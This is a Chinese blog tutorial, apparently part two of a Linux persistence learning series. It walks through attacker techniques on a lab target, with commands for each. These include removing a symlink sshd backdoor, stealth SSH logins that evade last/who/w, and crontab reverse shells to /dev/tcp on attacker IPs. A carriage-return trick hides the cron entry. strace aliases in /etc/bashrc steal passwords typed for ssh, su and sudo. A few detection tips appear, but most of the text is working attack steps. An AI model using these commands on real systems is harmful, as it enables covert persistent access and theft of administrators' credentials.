Linux权限维持入门学习(下)

简介: Linux权限维持入门学习
+关注继续查看

第二步:确定软链接后门文件

查看所有的su文件,以及查找具体哪一个su是软链接后门

cd ~
cd ..
find . -name su

image

使用ll命令来确定哪一个是后门:

[root@linux-centos /]# ll ./etc/selinux/targeted/active/modules/100/su
总用量 20
-rw-r--r--. 1 root root 1837 9月  13 2017 cil
-rw-r--r--. 1 root root 9171 9月  13 2017 hll
-rw-r--r--. 1 root root    2 9月  13 2017 lang_ext
[root@linux-centos /]# ll ./tmp/su
lrwxrwxrwx. 1 root root 14 12月  6 16:44 ./tmp/su -> /usr/sbin/sshd
[root@linux-centos /]# ll ./usr/share/locale/su
总用量 0
drwxr-xr-x. 2 root root 6 11月  5 2016 LC_MESSAGES
[root@linux-centos /]# ll ./usr/share/bash-completion/completions/su
-rw-r--r--. 1 root root 864 8月   4 2017 ./usr/share/bash-completion/completions/su
[root@linux-centos /]#

image

最后发现./tmp/su文件是软连接的后门。

第三步:删除软链接后门

一定要记得kill的是两个进程:

rm -rf /tmp/su
kill -9 17650
kill -9 17638

imageimage

此时连接退出:

image

此时再也无法连接:

image

注意事项

切记:不要用 rm -rf /tmp/su/,如果后面多一个斜杠,就会把文件删除!

一定要删除两个进程,如果只删除了正在登录的进程是无效的

2.3 隐身登录(有条件)

如果在已知用户密码的情况下,可以使用这种方法进行登录,如果是自己建立的账号登录的话,一样会被发现。

# 不被last\who\w等指令检测
ssh -T username@x.x.x.x /bin/bash -i
# 不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostFile=/dev/null -T user@x.x.x.x /bin/bash -if

如果已知密码的情况下可以使用这个方法登录,比如使用攻击机去登录靶机:

ssh -T bolean@10.50.0.16 /bin/bash -i

image

但是使用端口检查的话,还是可以看到的:

netstat -anpt

image

2.4 crontab定时任务

基本上普通crontab一眼就能看出来,基本就是送死的:

crontab -l

image

如果想进行计划任务的话,可以使用计划任务进行反弹。

2.4.1 bash命令进行反弹

/bin/bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/888 <&1'

但是这个命令如果用到任务计划里面就是:

* * * * * /bin/bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/8688 <&1'

将命令放入到任务计划里面去,然后很快就会回弹一个shell回来:

image

在这里使用crontab -l了的命令是能看到此时的任务计划的,此时已经收到了shell

image

2.4.2 文件反弹

先建立一个sh文件,并对该文件赋予可执行权限:

bash脚本:hello.sh,将文件放在/tmp 目录下面:

#!/bin/bash
bash -i >& /dev/tcp/10.30.3.49/12345  0>&1
#!/bin/bash
bash -i >& /dev/tcp/12x.xxx.xx3.xx3/12345  0>&1

image

至于留后门的方法可以使用下面的语句,参考:

https://cloud.tencent.com/developer/article/1683265
(crontab -l;printf "*/1 * * * * /tmp/hello.sh;\rno crontab for `whoami`%100c\n")|crontab -

在这里试下:(用了公网的机器)

image

不久之后,会话就弹回来了:

image

此时使用crontab -l是看不到当前有新的计划任务的:

image

但是crontab -e是可以看到的:

image

但是这个通讯依旧可以看到:

image

2.5 strace后门-偷其他ssh的密码

参考文档:

https://zhuanlan.zhihu.com/p/355743801

可以通过alias命令来执行特定的命令时静默运行其他程序,从而达到启动后门,记录键值等作用。

这里主要是记录该用户的键盘操作,并无法记录登录靶机的ssh密码信息。

2.5.1 记录ssh的操作。

通过命令替换动态跟踪系统调用和数据,可以用来记录用户sshsusudo的操作。

cp /etc/bashrc /etc/.bashrc.bak  # 将文件备份
vim /etc/bashrc # 编辑文件
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh' 
b
source ~/.bashrc

imageimage

此时利用该账号再去登录其他账号的时候,发生报错:

image

此时发生报错,所以在使用该命令的时候一定要注意下是否有strace命令。

当前环境是centos,所以在这里需要自行安装strace

yum install strace

image

此时再利用该机器进行登录操作:

image

登录成功,再看下是否有log文件进行记录:

image

文件已经存在,但是其中的信息过多,需要进行过滤:

grep -A 9 'password' .ssh.log

image

将其中的信息进行拼接即为密码信息。


2.5.2 排查技巧


利用alias进行排查:

image


2.5.3 利用总结


如果需要记录sudo操作、ssh等操作,而且生成的日志可能会出现覆盖的情况,因此对于这种问题,我们对方法进行一个总结:

# 1. 文件备份:
cp /etc/bashrc /etc/.bashrc
# 2. 编辑bashrc文件
vim /etc/bashrc
# 3. 记录本机登录其他机器的ssh信息,在bashrc的末尾/其中,加上下面的句子,会将文件放到/usr/bin/目录下,文件结尾为log
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 2048 ssh'
# 4. 记录sudo命令
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo' 
# 5. 记录su命令
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'
# source下.bashrc文件
source /root/.bashrc

注意文件不要放在其他的高权限文件夹下,否则生成文件的时候会提示权限不足:

image

在这里先删除以前的记录,将以上记录插入:

image

alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 2048 ssh'
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo' 
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'

imageimage

然后再source一下:

image

在靶机上登录其他的机器,执行susudo命令试试:

image

此时去找下文件:

image

使用命令来看下文件,登录的ssh

grep -A 9 'password' .ssh-0712月121670384140.log

image

su的命令:

cat .su-0712月121670384157.log | grep write

image

在这里sudo命令有问题,好像不太好用。


2.4.4 利用总结


主要是偷在机器上管理员的一些操作,有时候能够偷到管理员密码信息
1. 查看是否strace命令,如果没有的话,安装:
centos:yum install strace -y
Ubuntu:apt install strace -y
2. 文件备份:
cp /etc/bashrc /etc/.bashrc
3. 编辑bashrc文件
vim /etc/bashrc 或者是vi /etc/bashrc
# 3. 记录本机登录其他机器的ssh信息,在bashrc的末尾/其中,加上下面的句子,会将文件放到/usr/bin/目录下,文件结尾为log
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 2048 ssh'
# 4. 记录sudo命令(根据场景,一般如果是都只有root用户的话,这个命令不建议用,自己测试centos发生报错)
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo' 
# 5. 记录su命令(根据场景,一般如果是都只有root用户的话,这个命令不建议用)
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'


2.6 窃取运维的密码


参考:https://zhuanlan.zhihu.com/p/146024506这个在实战中,成功过。


3.总结


本文仅对linux的权限维持做了非常微小的学习,文章所有的操作都是网上已有的技术,仅供参考,如有错误,欢迎指正。


4.参考资料


其中还有一部分参考的文章链接在文中。

https://www.v4ler1an.com/2020/12/backdoor/
https://zhuanlan.kanxue.com/article-16246.htm
https://cloud.tencent.com/developer/article/1683265
相关文章
|
2天前
|
Linux 数据安全/隐私保护
(一)Linux命令行工具入门:掌握基础命令
Linux操作系统的命令行界面是系统管理员和开发人员的得力工具。掌握基础的Linux命令是使用Linux系统的第一步。本文将向您介绍一些最基础、最常用的Linux命令,使您能够在命令行界面自如地操作文件、目录,以及执行各种任务。
19 0
|
2天前
|
Shell Linux 数据安全/隐私保护
Linux Shell入门:掌握基本命令和脚本编写
Linux Shell是Linux操作系统中的命令解释器,允许用户通过命令行界面与操作系统进行交互。掌握Shell基础是成为Linux系统管理员或开发人员的关键。本文将介绍Linux Shell的基本知识,包括常用命令和简单脚本编写。
15 0
|
9天前
|
监控 JavaScript 前端开发
linux入门练级篇 第三讲 基本指令3
linux入门练级篇 第三讲 基本指令3
26 0
|
9天前
|
Linux C语言
linux入门练级篇 第二讲 基本指令2
linux入门练级篇 第二讲 基本指令2
26 0
|
20天前
|
Linux 数据安全/隐私保护
Linux指令入门-文件管理
本教程介绍Linux系统中常用的磁盘管理命令。
30 0
|
21天前
|
弹性计算 缓存 监控
Linux指令入门-系统管理
本场景将介绍Linux中常用的系统工作命令以及系统状态检测命令
79 0
|
21天前
|
弹性计算 Linux Shell
Linux指令入门-文件与权限
本教程介绍Linux系统中常用的文件目录管理和文件权限管理命令。
43 0
|
21天前
|
传感器 Linux 芯片
嵌入式Linux系列第20篇:驱动编写入门
嵌入式Linux系列第20篇:驱动编写入门
|
26天前
|
NoSQL Linux
Linux系统调试篇——GDB调试入门
Linux系统调试篇——GDB调试入门
|
2月前
|
Linux 程序员
Linux驱动入门(6.2)按键驱动和LED驱动 --- 将逻辑电平与物理电平分离
Linux驱动入门(6.2)按键驱动和LED驱动 --- 将逻辑电平与物理电平分离
25 0
相关产品
云迁移中心
推荐文章
更多